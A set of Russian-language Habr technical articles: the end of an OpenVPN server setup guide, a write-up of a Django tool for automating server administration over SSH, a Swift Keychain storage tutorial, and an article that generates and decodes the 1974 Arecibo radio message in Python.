net.ipv4.ip_forward=1 ``` а в консоли выполним ``` echo 1 > /proc/sys/net/ipv4/ip_forward ``` чтобы изменения применились без перезагрузки. Далее настраиваем iptables. Если у Вас выделенный сервер, или виртуальный на Xen или KVM, то в консоли пишем ``` iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -s 10.8.0.0/24 -j ACCEPT iptables -A FORWARD -j REJECT iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE ``` Если виртуализация OpenVZ, то обычный NAT работать не будет, и надо использовать SNAT, для этого в консоли пишем ``` iptables -t nat -A POSTROUTING -o venet0 -j SNAT --to **a.b.c.d** iptables -A FORWARD -i venet0 -o tun0 -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -i tun0 -o venet0 -j ACCEPT ``` Вместо **a.b.c.d** соответственно внешний ip вашего сервера Чтобы правила iptables применялись при загрузке ОС, пропишем их в **/etc/rc.local**, туда же, после применения правил iptables добавим перезагрузку dnsmasq. Пример файла /etc/rc.local после внесения изменений — для dedicated\Xen\KVM: ``` #!/bin/sh -e # # [...] # iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -s 10.8.0.0/24 -j ACCEPT iptables -A FORWARD -j REJECT iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE /etc/init.d/dnsmasq restart exit 0 ``` для OpenVZ: ``` #!/bin/sh -e # # [...] # iptables -t nat -A POSTROUTING -o venet0 -j SNAT --to **a.b.c.d** iptables -A FORWARD -i venet0 -o tun0 -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A FORWARD -i tun0 -o venet0 -j ACCEPT /etc/init.d/dnsmasq restart exit 0 ``` Далее настроим dnsmasq, для этого откроем файл **/etc/dnsmasq.conf** и раскомментируем\поправим две строки ``` listen-address=127.0.0.1,10.8.0.1 bind-interfaces ``` На этом настройка сервера закончена, можно перезапускать сервисы и начинать настраивать клиентов. ``` service openvpn restart service dnsmasq restart ``` В моем случае все клиенты были на Windows 7, поэтому расскажу только про настройки клиентов на винде. Скачиваем софт — [OpenVPN](http://swupdate.openvpn.org/community/releases/openvpn-2.2.2-install.exe), устанавливаем, в случае с Windows 7 запускаем от имени администратора «Пуск\OpenVPN\**OpenVPN Gui**» Далее создаем файл **%имя%.ovpn** со следующим содержимым ``` push "redirect-gateway def1" client dev tun proto udp remote **a.b.c.d** 1194 resolv-retry infinite nobind persist-key persist-tun ca ca.crt cert **cli1.crt** key **cli1.key** comp-lzo verb 3 ``` Вместо a.b.c.d — адрес сервера. Складываем файл **%имя%.ovpn** и ранее полученные **ca.crt cli1.crt cli1.key** в **C:/Programm files(x86)/OpenVPN/config** Вот и все, в трее правой мышью по значку OpenVPN -> Connect и нас переносит в другую страну.
https://habr.com/ru/post/188474/
null
ru
null
# Без ансамбля ![](https://habrastorage.org/r/w1560/webt/ix/-r/qm/ix-rqm7zwhdwcm8efxwpqy_20uu.png) Решили мы однажды заняться автоматизацией наших рутинных рабочих моментов. Создать у себя ансамбль(ansible) или что-нибудь в этом роде. Я полез на сайт ансамбля, посмотрел как он работает *… подключается к удаленному серверу через ssh и выполняет какие-то там скрипты...* Стоп, подумал я, разве для этого нужен ансамбль? Я и без ансамбля, сам ..., один… могу это сделать! А чтобы не только лишь я это мог, решил написать вэб приложение. Приложение назвали *Update Server*, сокращенно *UpS*. Ворнинг! Под катом много картинок и пара гифок. Приложение я решил делать при помощи питона и джанги. Тут хватает специалистов и «специалистов» и по тому и по другому. Поэтому я не буду сейчас мериться количеством строк кода. Желающие могут заглянуть [сюда](https://github.com/vaniacer/up) секретов там нет, а большинство команд ~~захардкожены~~ специализированы под наш проект. Расскажу(и покажу) только о том, какой функционал получилось реализовать в приложении. Так вот. Взял я в руки свой питон(python), к слову, питон у меня не очень большой, обычный, среднестатистический 2.7. Достал для него новенькую(по тем временам) джангу 1.10 и начал их соединять. И так и эдак соединял. Сверху и снизу заходил, по-всякому пробовал. И получилась в итоге вот такая штука. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/b05/83a/5fa/b0583a5fa9cc7a4959403d4b9270c166.png) Но обо всем по порядку, начинается всё с такой незатейливой странички с описанием. ![](https://habrastorage.org/r/w1560/webt/ox/7u/ey/ox7ueyxkblijiskghcqp9iesnce.png) Кликнув в джумботрон *Projects* мы попадаем на страничку выбора проектов. ![](https://habrastorage.org/r/w1560/webt/9k/gf/59/9kgf59looojwighiwr_sohgw0r8.png) Выбрав проект попадаем на основную страницу со списком серверов, скриптов и т.д. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/b05/83a/5fa/b0583a5fa9cc7a4959403d4b9270c166.png) Перейдем к подробностям. В приложении обозначилось несколько сущностей: сервер(server), скрипт(script), пакет обновления(update), задача в кроне(cron job), событие в истории(event), проект(project) и не совсем сущьность дамп(dump). **Небольшое лирическое отступление**![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/7dc/2f0/824/7dc2f0824d47a6864b9a114975c7da1d.jpg)Играем с сыном в Titan quest, вернее я играю, а он смотрит) Там из монстров выпадают некие артефакты, в русской версии называющиеся сущностями. Вот в один прекрасный день выпала мне какая-то сущность Ахилеса чего-то там. На картинке что-то другое, но из той же оперы) Сын увидел и кричит: — пап, гляди суЧность Ахилеса!) Основной сущностью является проект. К проекту цепляются серверы, скрипты, апдейты. Создаются задания в кроне и дампы. Объекты разбросаны по соответствующим закладкам. Слева располагается меню со списком команд. Пробежимся по закладкам. Первая закладка скрипты. ![](https://habrastorage.org/r/w1560/webt/6m/fq/ys/6mfqysp6tpqlwcdleseldzdu2m4.png) Тут мы видим доступные скрипты и серверы(серверы доступны на всех закладках, т.к. нужны практически всегда). Скрипты можно загружать из файла или создавать в интерфейсе кнопкой *Add*. Поддерживаются SH, PY, YML и SQL скрипты. ![](https://habrastorage.org/r/w1560/webt/0j/oh/nl/0johnlmidedyt-kulfko_lpu0xy.png) В панели скрипта есть описание(*description*), кусочек кода(*preview*), автор и дата. Для SH и PY скриптов предусмотрена возможность добавлять опции(поле *options*). Выбирается скрипт(и любой другой объект) методом клика на любой части панельки(кроме «быстрых» кнопок). Клик на скрипт(второй, третий и т.д.), клик на сервер(второй, третий и т.д.) и клик на *Run script*. Выбранный скрипт или скрипты будут выполнены на выбранном сервере или серверах. Если нужно «по быстренькому» выполнить один скриптик, можно воспользоваться «быстрой» кнопкой на панельке скрипта, клик на сервер(второй, третий и т.д.) и клик на *Run* нужного скрипта. Пока писал статью появились изменения. Отделил SQL скрипты от остальных, добавил для выполнения эскуелей отдельную команду и пермишон. Это позволило давать, например, только права на выполнение эскуэлей, т.к. SH и PY гораздо мощней, они дают практически неограниченные возможности. Но переделывать скриншоты я не стал) Скриптами можно было и ограничиться, практически все можно сделать ими, но остановиться уже было трудно). Идем дальше, пакеты обновлений. ![](https://habrastorage.org/r/w1560/webt/g3/70/uz/g370uz0e-btpj5pc1ak7mj2xt6q.png) На этой закладке можно добавлять новые апдейты, копировать их на серверы, выполнять обновление.![](https://habrastorage.org/r/w1560/webt/do/ln/ao/dolnaobg2iri-lwgbkwljpgjiro.png)На самом деле это могут быть любые файлы, как в этом примере в качестве тестового апдейта используется обычный txt файл. Закачиваешь на сервер файл(чаще всего это zip) и как-то используешь его при помощи скриптов. У апдейтов тоже есть описание, автор, дата и показан размер. Дальше идут дампы. ![](https://habrastorage.org/r/w1560/webt/ua/vd/gu/uavdgub5174aao1jw2no6pmmuds.png) Тут отображается список файлов, полученных командой *Get dump* или закачанные сюда с компа. ![](https://habrastorage.org/r/w1560/webt/4s/_t/_h/4s_t_hpbk8j3b9kgxkuobbeewbs.png) У дампов описания нет, есть только имя, размер и время создания. Наверное не только лишь все хоть раз(два, три) грохали продуктовую базу? Я вывел эту возможность на новый уровень) *Send dump* эта команда разворачивает базу сервера из выбранного дампа. Чувствуете возможности?(слышится треск пуканов) Да в ~~не~~умелых руках эта команда может убить ВСЕ базы на ВСЕХ серверах буквально несколькими кликами! Именно поэтому кнопка этой(и подобных) команды закрашена красненьким, нажимать ее следует крайне аккуратно. Для объемных дампов конечно проблематично использовать, а для маленьких тестовых баз очень удобная штука. Крон. ![](https://habrastorage.org/r/w1560/webt/qk/4y/9o/qk4y9oopfhcrqwfgvo9ezg6dxeg.png) Все это безобразие можно запускать через крон. На этой закладке отображаются активные задачи. ![](https://habrastorage.org/r/w1560/webt/7j/ds/g4/7jdsg43kqp8rd6kv5pmythl7t-g.png) У каждой задачи есть уникальный идентификатор(*crontab id*), он необходим для последующих манипуляций с ней. В описании указано, что задача будет делать. В примере выполнить скрипт *test2.sh* на сервере с адресом jboss@localhost. Время начала задания указано в поле *Start date* в формате YYYY-MM-DD HH:MM Обозначен автор и время создания. Можно отменить задачу, изменить время, сделать задачу постоянной(будет выполнятся каждый день в указанное время) или наоборот одноразовой. Логи выполняющихся команд появляются тут. ![](https://habrastorage.org/r/w1560/webt/66/lw/yx/66lwyxz6iphipg4cugj2nuhere8.png) С логами ничего делать нельзя, все уже сделано, сиди и смотри что получилось) Клик на табличку лога открывает его в отдельном окне. Если выполняется несколько процессов появляется кнопка *All logs*, открывает все логи в одном окне(я забыл сделать этот скриншот). Серверы. Как я уже говорил, список серверов доступен на всех закладках. ![](https://habrastorage.org/r/w1560/webt/l4/6s/tu/l46stukvoee5smkwqsmgviwmhwk.png) У серверов отображается адрес(*ssh address*), можно записывать в формате user@address, но лучше пользоваться ssh алиасами(~/.ssh/config) и задавать какие-то осмысленные имена. HTTP adress — это урл приложения развернутого на сервере. Рабочий каталог(*working folder*) и порт(*server bind port*), это папка, в которой находится приложение и порт, который оно открывает соответственно. Описание, автор, дата. На скриншоте засветилась пара новых команд, добавленных во время написания статьи: *Prop* и *Full*. У нас есть два основных конфигурационных файла, эти команды позволяют их редактировать, удобно. ![](https://habrastorage.org/r/w1560/webt/10/1g/rm/101grmsc1awvwq6zmlfah6hezpc.png)Остальные команды. Сначала красненькие: *Maintenance ON\OFF* — включить\отключить страницу «Регламентные работы» на время регламентных работ O\_o или если что-то пошло не так(после *send dump* например). *Reload config* — перезагружает конфиг jboss'а(наш проект использует jboss). *Restart\start\stop\kill jboss* — остановка, запуск, перезапуск jboss'а и жестокое убийство если уже ничего не помогает) Дальше разные полезные штуки: *System info* — показывает информацию о сервере: память, диск, процессор, пользователи, процессы. *Check health* — быстрая проверка работоспособности приложения, ищет процесс приложения, проверяет открыт ли порт и пытается курлом в этот порт постучаться. *Check conf* — показывает конфигурационный файл приложения. *Check logs* — показывает логи приложения. *Check GC log* — показывает лог гарбаж колектора. *Get day\week\month\all logs* — позволяет скачать логи за определенное время одним архивом. *Backup base\system\full* — создает резервную копию базы, файлов приложения, делает и то и другое. *Copy utils* — копирует всякие разные скриптики на сервер. *Peep passwords* — позволяет подсмотреть пароль админа. *Check updates* — показывает какие файлы обновлений закачаны на сервер. *Create tunnel* — делает проброс порта приложения, с сервера приложения на *UpS*'а (у нас ведь ssh). Можно подключиться к порту приложения напрямую. Полезно для проверки работоспособности в случае отсутствия доступа(http\s) по основному адресу. Команды *System info*, *Check health*, *Check conf*, *Check logs*, *Peep passwords*, *Check updates* и *Create tunnel* имеют «быстрые» аналоги непосредственно на панели каждого сервера. В верхней панели есть ссылка *History*, в истории записывается результат выполнения всех(почти) команд. На просмотр истории и выполнение команд необходимы пермишоны. Пермишоны навешиваются стандартной джанговской админкой. Единственное что я тут добавил, прикрутил библиотеку джанго-гардиан, которая позволяет навешивать пермишоны на объекты, мне это показалось очень удобным, а джанга не умеет делать это из коробки. Я конечно не уи гуру, но постарался сделать управление легким и не принужденным) Прокликиваем необходимые объекты, выбираем команду и ~~ой~~ всё. Нажми на кнопку, получишь результат. Как-то так. ![](https://habrastorage.org/webt/6p/tv/3k/6ptv3kea50you8aldo1zswx_2ko.gif) Пара слов о том, как это все работает. Питон и джанга, как я уже говорил, вьювс, моделс, урлс, формс, вот это вот все и есть такой файлик *commands.py*. В этом файлике описываются доступные команды(пока все логично, да?). Выглядит это как-то так: ``` class CommandClass: """Класс команды""" def __init__( self, permission='run_command', # Permission needed to run this command. position=1, # Position in commands list section='', # Section command will be placed to. style='', # Class assigned to a command button title='', # Pop up help message(via title) short='', # Short name for commands in quick section menu='', # Command name in UI name='', # Command name(an internal command name) run='', # Prevent CRONing his=True, # Command log will be saved to history fst=False, # Add command to quick section dgr='false', # If true will show confirmation window job='false', # Check if some cron jobs selected srv='false', # Check if some servers selected upd='false', # Check if some updates selected scr='false', # Check if some scripts selected dmp='false', # Check if some dumps selected ): self.permission = permission self.position = position self.section = section self.style = style self.title = title self.short = short self.name = name self.menu = menu self.run = run self.his = his self.fst = fst self.srv = srv self.upd = upd self.job = job self.scr = scr self.dmp = dmp self.dgr = dgr ``` И все существующие команды описываются в словарике *commandick*. Название словарика это некая игра слов command(команда) и dictionary(словарь), знатоки английского наверное найдут еще какой-нибудь скрытый смысл. Словарик: ``` commandick = { # Cron submenu }----------------------------------- 'cancel_job': CommandClass( permission='run_cron', position=4, section='cron', title='Cancel selected cron job(s).', name='cancel_job', menu='Remove job', job='true', run="run_or_cron('RUN');", ), 'permanent_job': CommandClass( permission='run_cron', position=3, section='cron', title='Make selected cron job(s) permanent.', name='permanent_job', menu='Run everyday', job='true', run="run_or_cron('RUN');", ), ... 'tunnel': CommandClass( permission='tunnel', position=80, section='server', title='Make ssh tunnel to the bind port of selected server(s).', short='Tunnel', name='tunnel', menu='Create tunnel', run="run_or_cron('RUN');", srv='true', his=False, fst=True, ), 'test_ssh': CommandClass( permission='tunnel', position=90, section='server', title='Test ssh connection.', short='Tunnel', name='test_ssh', menu='Test ssh', run="run_or_cron('RUN');", srv='true', his=False, ), } ``` Каждая команда это отдельный модуль в папке *modules*. Запускаются команды отдельным процессом, если выбрано несколько серверов, то для каждого создается свой процесс скрипт *starter.py*, он импортирует и выполняет нужный модуль(команду). Придумал новую фичу? Добавляешь файлик в папку *modules* и описываешь в словарике, ~~ой~~ все. Вот такое получилось приложение. Вангую массовые комменты про велосипедостроение. На ваши выс… сказывания я хотел бы ответить вот что. Почему люди продолжают делать новых людей? Ведь людей итак уже до… до определенной степени много. Потому что процесс нравится) Вот и мне нравится процесс, чего и вам желаю, творите, выдумывайте, пробуйте) **другие поделки**В заключение хочу упомянуть еще парочку своих поделок. Для самых маленьких [раскраска](https://github.com/vaniacer/bash_color). Скриптик упрощающий процесс раскрашивания других скриптиков: ``` #--------------------------------------------------------------------+ #Color picker, usage: printf $BLD$CUR$RED$BBLU'Hello World!'$DEF | #-------------------------+--------------------------------+---------+ # Text color | Background color | | #-----------+-------------+--------------+-----------------+ | # Base color|Lighter shade| Base color | Lighter shade | | #-----------+-------------+--------------+-----------------+ | BLK='\e[30m'; blk='\e[90m'; BBLK='\e[40m'; bblk='\e[100m' #| Black | RED='\e[31m'; red='\e[91m'; BRED='\e[41m'; bred='\e[101m' #| Red | GRN='\e[32m'; grn='\e[92m'; BGRN='\e[42m'; bgrn='\e[102m' #| Green | YLW='\e[33m'; ylw='\e[93m'; BYLW='\e[43m'; bylw='\e[103m' #| Yellow | BLU='\e[34m'; blu='\e[94m'; BBLU='\e[44m'; bblu='\e[104m' #| Blue | MGN='\e[35m'; mgn='\e[95m'; BMGN='\e[45m'; bmgn='\e[105m' #| Magenta | CYN='\e[36m'; cyn='\e[96m'; BCYN='\e[46m'; bcyn='\e[106m' #| Cyan | WHT='\e[37m'; wht='\e[97m'; BWHT='\e[47m'; bwht='\e[107m' #| White | #----------------------------------------------------------+---------+ # Effects | #--------------------------------------------------------------------+ DEF='\e[0m' #Default color and effects | BLD='\e[1m' #Bold\brighter | DIM='\e[2m' #Dim\darker | CUR='\e[3m' #Italic font | UND='\e[4m' #Underline | INV='\e[7m' #Inverted | COF='\e[?25l' #Cursor Off | CON='\e[?25h' #Cursor On | #--------------------------------------------------------------------+ # Text positioning, usage: XY 10 10 'Hello World!' | XY () { printf "\e[$2;${1}H$3"; } # | #--------------------------------------------------------------------+ # Print line, usage: line - 10 | line -= 20 | line 'Hello World!' 20 | line () { printf -v LINE "%$2s"; printf "${LINE// /$1}"; } # | #--------------------------------------------------------------------+ ``` Для ребят постарше, проводящих много времени в консоли, симпатичная [информационная панель](https://github.com/vaniacer/info-bar). ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/34a/1d4/923/34a1d492380d3358a820118c2d61fbe1.png) Для тех, кому уже тесно в рамках локалхоста, есть [скриптик](https://github.com/vaniacer/sshto), создающий меню(dialog) из вашего *~/.ssh/config*. Все знают, зачем нужен *~/.ssh/config*?) Выглядит это так: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/509/0da/030/5090da030cd0deea040934c46a4e81a8.png) И конечно же [ПИУ-ПИУ!](https://github.com/vaniacer/piu-piu-SH) Пиу-пиу многим понравилась(больше 550 звезд на гитхабе), спасибо всем за добрые слова и за помощь! Не слышали про пиу-пиу? Скорей читайте [тут](https://habr.com/post/335960/), [тут](https://habr.com/post/337896/) и [тут](https://habr.com/post/339268/). Хочу развить сюжет дальше и сделать игру больше, есть идеи по оптимизации но катастрофически не хватает времени. Новогодние праздники как нельзя кстати, надеюсь получится поработать над игрой. Кстати, пиу-пиу можно установить apt'ом: ``` sudo apt install -y piu-piu ``` ![image](https://habrastorage.org/getpro/habr/post_images/e94/6d9/c3b/e946d9c3b11a12aee27dc02d2561f921.gif) С наступающим!)
https://habr.com/ru/post/428439/
null
ru
null
# Swift. KeyChain. Property wrapper ![Xcode](https://habrastorage.org/r/w1560/getpro/habr/upload_files/564/79c/94d/56479c94d26fb83ca54db03db365447c.png "Xcode")XcodeНекоторое время назад была опубликована [статья](https://habr.com/ru/post/670378/) на тему хранения данных пользователя. В этой статье было представлено решение, которое подходит для хранения общих данных, таких как настройки уведомлений, рассылки, возраста, имени и т.п. Но если требуется хранить важные или персональные данные, такие как ключ авторизации, пароль аккаунта, логин аккаунта и т.п., то для этих целей потребуется своего рода безопасное и защищенное хранилище. Далее речь пойдет о хранилище данных Keychain и способах его программирования. Реализация ---------- Сформируем минимальные необходимые требования к защищенному хранилищу. 1. Возможность сохранить данные. 2. Возможность загрузить данные. 3. Возможность удалить данные. 4. Данными могут быть как пароли или токены, так и аккаунты, т.е. комбинации логин-пароль. Ядром для работы с хранилищем будет SecureStorage, который удовлетворяет первым 3 требованиям. ``` import Foundation import Security public final class SecureStorage { enum KeychainError: Error { case itemAlreadyExist case itemNotFound case errorStatus(String?) init(status: OSStatus) { switch status { case errSecDuplicateItem: self = .itemAlreadyExist case errSecItemNotFound: self = .itemNotFound default: let message = SecCopyErrorMessageString(status, nil) as String? self = .errorStatus(message) } } } func addItem(query: [CFString: Any]) throws { let status = SecItemAdd(query as CFDictionary, nil) if status != errSecSuccess { throw KeychainError(status: status) } } func findItem(query: [CFString: Any]) throws -> [CFString: Any]? { var query = query query[kSecReturnAttributes] = kCFBooleanTrue query[kSecReturnData] = kCFBooleanTrue var searchResult: AnyObject? let status = withUnsafeMutablePointer(to: &searchResult) { SecItemCopyMatching(query as CFDictionary, $0) } if status != errSecSuccess { throw KeychainError(status: status) } else { return searchResult as? [CFString: Any] } } func updateItem(query: [CFString: Any], attributesToUpdate: [CFString: Any]) throws { let status = SecItemUpdate(query as CFDictionary, attributesToUpdate as CFDictionary) if status != errSecSuccess { throw KeychainError(status: status) } } func deleteItem(query: [CFString: Any]) throws { let status = SecItemDelete(query as CFDictionary) if status != errSecSuccess { throw KeychainError(status: status) } } } ``` Далее, аккаунты. Как сказано в документации, хранилище используется для [безопасного хранения небольших объемов данных](https://developer.apple.com/documentation/security/keychain_services). Поэтому для аккаунтов требуется некоторая модель Credentials, с которой впоследствии будет происходить работа. Естественно, для того чтобы использовать Credentials модель при вызове, потребуется набор новых методов, принимающих в качестве аргумента эту самую модель. ``` import Foundation public extension SecureStorage { struct Credentials { public var login: String public var password: String public init(login: String, password: String) { self.login = login self.password = password } } func addCredentials(_ credentials: Credentials, with label: String) { var query: [CFString: Any] = [:] query[kSecClass] = kSecClassGenericPassword query[kSecAttrLabel] = label query[kSecAttrAccount] = credentials.login query[kSecValueData] = credentials.password.data(using: .utf8) do { try addItem(query: query) } catch { return } } func updateCredentials(_ credentials: Credentials, with label: String) { deleteCredentials(with: label) addCredentials(credentials, with: label) } func getCredentials(with label: String) -> Credentials? { var query: [CFString: Any] = [:] query[kSecClass] = kSecClassGenericPassword query[kSecAttrLabel] = label var result: [CFString: Any]? do { result = try findItem(query: query) } catch { return nil } if let account = result?[kSecAttrAccount] as? String, let data = result?[kSecValueData] as? Data, let password = String(data: data, encoding: .utf8) { return Credentials(login: account, password: password) } else { return nil } } func deleteCredentials(with label: String) { var query: [CFString: Any] = [:] query[kSecClass] = kSecClassGenericPassword query[kSecAttrLabel] = label do { try deleteItem(query: query) } catch { return } } } ``` Работа с паролями несколько легче программируется, поскольку в этом случае хранится только пароль, а не комбинация логин-пароль, и в качестве типа данных используется String. ``` import Foundation public extension SecureStorage { func addPassword(_ password: String, for account: String) { var query: [CFString: Any] = [:] query[kSecClass] = kSecClassGenericPassword query[kSecAttrAccount] = account query[kSecValueData] = password.data(using: .utf8) do { try addItem(query: query) } catch { return } } func updatePassword(_ password: String, for account: String) { guard let _ = getPassword(for: account) else { addPassword(password, for: account) return } var query: [CFString: Any] = [:] query[kSecClass] = kSecClassGenericPassword query[kSecAttrAccount] = account var attributesToUpdate: [CFString: Any] = [:] attributesToUpdate[kSecValueData] = password.data(using: .utf8) do { try updateItem(query: query, attributesToUpdate: attributesToUpdate) } catch { return } } func getPassword(for account: String) -> String? { var query: [CFString: Any] = [:] query[kSecClass] = kSecClassGenericPassword query[kSecAttrAccount] = account var result: [CFString: Any]? do { result = try findItem(query: query) } catch { return nil } if let data = result?[kSecValueData] as? Data { return String(data: data, encoding: .utf8) } else { return nil } } func deletePassword(for account: String) { var query: [CFString: Any] = [:] query[kSecClass] = kSecClassGenericPassword query[kSecAttrAccount] = account do { try deleteItem(query: query) } catch { return } } } ``` Таким образом, для использования такого хранилища можно обновить computed property с get и set методами, но предлагается поступить иначе и вместо computed property использовать [@propertyWrapper](/users/propertywrapper). ``` import SwiftUI @propertyWrapper public struct Credentials: DynamicProperty { private let label: String private let storage = SecureStorage() public init(_ label: String) { self.label = label } public var wrappedValue: SecureStorage.Credentials? { get { storage.getCredentials(with: label) } nonmutating set { if let newValue = newValue { storage.updateCredentials(newValue, with: label) } else { storage.deleteCredentials(with: label) } } } } @propertyWrapper public struct Password: DynamicProperty { private let key: String private let storage = SecureStorage() public init(_ key: String) { self.key = key } public var wrappedValue: String? { get { storage.getPassword(for: key) } nonmutating set { if let newValue { storage.updatePassword(newValue, for: key) } else { storage.deletePassword(for: key) } } } } ``` Обратить внимание нужно на ключевое слово **nonmutating** в сетере каждой структуры. Без этого при использовании предложенных property wrapper в SwiftUI компилятор бы выдавал ошибку "Cannot assign to property: 'self' is immutable". Также в угоду совместимости со SwiftUI была добавлена реализация протокола DynamicProperty. В результате, класс, содержащий защищенные данные выглядит максимально просто, в то время как удовлетворяет поставленным требованиям. ``` final class SecureSettings { @Credentials("account") var account: SecureStorage.Credentials? @Credentials("subAccount") var subAccount: SecureStorage.Credentials? @Password("authToken") var authToken: String? @Password("refreshToken") var refreshToken: String? func clear() { account = nil subAccount = nil accessToken = nil refreshToken = nil } } ``` Причем можно повторить подход, который используется в [Apple](https://developer.apple.com) - объявить общий экземпляр (singleton), либо передать объект в окружение (environmentObject), либо, создать экземпляр по необходимости. Заключение ---------- Хранение авторизационных данных - довольно частая задача, которая решается разработчиками, поскольку токен авторизации через определенное время утрачивает актуальность. Для того, чтобы пользовательский опыт был максимально положительным, нужно выполнять повторную авторизацию в "тихом" режиме, а не выбрасывать пользователя на экран ввода логина и пароля. В любом случае, это один из наиболее распространенных вариантов использования защищенного хранилища. В качестве другого примера можно привести хранение комбинации authToken-refreshToken. Но об этом как-нибудь в другой раз. 1. [Keychain Services](https://developer.apple.com/documentation/security/keychain_services) 2. [Security](https://developer.apple.com/documentation/security)
https://habr.com/ru/post/670490/
null
ru
null
# Кодируем и декодируем сообщение для внеземных цивилизаций Привет Хабр. Мотивом для этой статьи, на самом деле, послужил грустный повод. Всемирно известный радиотелескоп обсерватории Аресибо в Пуэрто-Рико [разрушился](https://www.bbc.com/news/world-us-canada-55147973) и восстановлению не подлежит. Многие годы это был самый крупный радиотелескоп в мире с полной апертурой (диаметр 304 м, диапазон частот до 10 ГГц), с помощью которого было сделано немало открытий. Здесь на фото из Википедии он в еще рабочем состоянии: ![](https://habrastorage.org/r/w780q1/webt/3k/md/0i/3kmd0iibykpjz40nmoyyfbi82dq.jpeg) *Источник: [en.wikipedia.org/wiki/Arecibo\_Observatory](https://en.wikipedia.org/wiki/Arecibo_Observatory)* Но текст собственно о другом событии. В 1974 г с этого телескопа было отправлено в космос послание внеземным цивилизациям. Что и как было в нем закодировано, подробности под катом. Кодирование ----------- Для начала интересно понять, как сообщение передавалось. Как известно, размер сообщения был всего лишь 1679 бит (примерно 210 байт), и передавалось оно на частоте 2.38 ГГц с мощностью 450 КВт. Для передачи использовалась частотная модуляция со скоростью 10 бит/с. Число 1679 выбрано не случайно — это произведение двух простых чисел 23 и 73, таким образом, разложить картинку в виде прямоугольника можно единственным способом. Готового радиосообщения в формате WAV мне найти не удалось, но в бинарном виде оно есть, а с помощью Python звук несложно сгенерировать самостоятельно. Желающие послушать, что услышат инопланетяне, могут скачать и запустить нижеприведенный код, который сгенерирует WAV файл. Для большей достоверности в сообщение также добавлен шум. **generate.py** ``` import scipy.io.wavfile as wav import scipy.signal as signal import numpy as np import matplotlib.pyplot as plt from PIL import Image import os message = """0000001010101000000000000101000001010000000100100010001000100 1011001010101010101010100100100000000000000000000000000000000 0000011000000000000000000011010000000000000000000110100000000 0000000000101010000000000000000001111100000000000000000000000 0000000001100001110001100001100010000000000000110010000110100 0110001100001101011111011111011111011111000000000000000000000 0000010000000000000000010000000000000000000000000000100000000 0000000001111110000000000000111110000000000000000000000011000 0110000111000110001000000010000000001000011010000110001110011 0101111101111101111101111100000000000000000000000000100000011 0000000001000000000001100000000000000010000011000000000011111 1000001100000011111000000000011000000000000010000000010000000 0100000100000011000000010000000110000110000001000000000011000 1000011000000000000000110011000000000000011000100001100000000 0110000110000001000000010000001000000001000001000000011000000 0010001000000001100000000100010000000001000000010000010000000 1000000010000000100000000000011000000000110000000011000000000 1000111010110000000000010000000100000000000000100000111110000 0000000010000101110100101101100000010011100100111111101110000 1110000011011100000000010100000111011001000000101000001111110 0100000010100000110000001000001101100000000000000000000000000 0000000001110000010000000000000011101010001010101010100111000 0000001010101000000000000000010100000000000000111110000000000 0000001111111110000000000001110000000111000000000110000000000 0110000000110100000000010110000011001100000001100110000100010 1000001010001000010001001000100100010000000010001010001000000 0000001000010000100000000000010000000001000000000000001001010 00000000001111001111101001111000""" def fftnoise(f): f = np.array(f, dtype='complex') n_p = (len(f) - 1) // 2 phases = np.random.rand(n_p) * 2 * np.pi phases = np.cos(phases) + 1j * np.sin(phases) f[1:n_p+1] *= phases f[-1:-1-n_p:-1] = np.conj(f[1:n_p+1]) return np.fft.ifft(f).real def band_limited_noise(min_freq, max_freq, samples, samplerate=1): freqs = np.abs(np.fft.fftfreq(samples, 1/samplerate)) f = np.zeros(samples) idx = np.where(np.logical_and(freqs>=min_freq, freqs<=max_freq))[0] f[idx] = 1 return fftnoise(f) message = ''.join(i for i in message if i.isdigit()) print("Original message:") print(message) print() # Generate message fs = 11025 f1, f2 = 3000, 4000 t_sym = 0.1 data = np.zeros(int(fs * t_sym * len(message))) for p in range(len(message)): samples = np.linspace(0, t_sym, int(fs * t_sym), endpoint=False) freq = f2 if message[p] == '1' else f1 data[int(fs * t_sym)*p:int(fs * t_sym)*(p + 1)] = 10000*(0.25*np.sin(2 * np.pi * freq * samples) + band_limited_noise(50, 5000, len(samples), fs)) wav.write('arecibo.wav', fs, np.int16(data)) print("WAV file saved") ``` Для удобства прослушивания я увеличил разнос частот, в оригинальном сообщении он был лишь 10 Гц. К сожалению, habr не позволяет приаттачивать звуковые файлы, желающие могут либо сгенерировать файл самостоятельно, либо использовать [временную ссылку](https://www.dropbox.com/s/z95lw48bild8o9t/arecibo_signal.wav?dl=0). Да кстати, отправлено сообщение было в 1974 году. Вот туда: ![](https://habrastorage.org/r/w1560/webt/uo/mb/on/uombonhc4ozw3c1apmtbrhlrqnq.png) *Источник: [en.wikipedia.org/wiki/Messier\_13](https://en.wikipedia.org/wiki/Messier_13)* Красивое звездное скопление M13 в созвездии Геркулеса, хорошо известное всем любителям астрономии, и доступное для наблюдений даже в небольшие телескопы. Скопление находится в 22 тыс световых лет, так что идти сообщение будет еще долго… С кодированием мы разобрались, теперь представим, что мы приняли подобное сообщение — посмотрим как его можно декодировать. Декодирование ------------- Принцип частотной модуляции сам по себе прост — нулю и единице соответствуют разные частоты. На спектре это выглядит примерно так: ![](https://habrastorage.org/r/w1560/webt/gj/ev/ef/gjevefhgixbdhpmhfy9gowzxwsm.png) Существуют разные способы декодирования FSK, в качестве самого простого метода просто отфильтруем одну из частот: ``` fs, data = wav.read('arecibo.wav') def butter_bandpass(lowcut, highcut, fs, order=5): nyq = 0.5 * fs low = lowcut / nyq high = highcut / nyq b, a = signal.butter(order, [low, high], btype='band') return b, a def butter_bandpass_filter(data, lowcut, highcut, fs, order=5): b, a = butter_bandpass(lowcut, highcut, fs, order=order) y = signal.lfilter(b, a, data) return y f1, f2 = 3000, 4000 data_f2 = butter_bandpass_filter(data, f2 - 200, f2 + 200, fs, order=3) plt.plot(data) plt.plot(data_f2) plt.xlabel("Time") 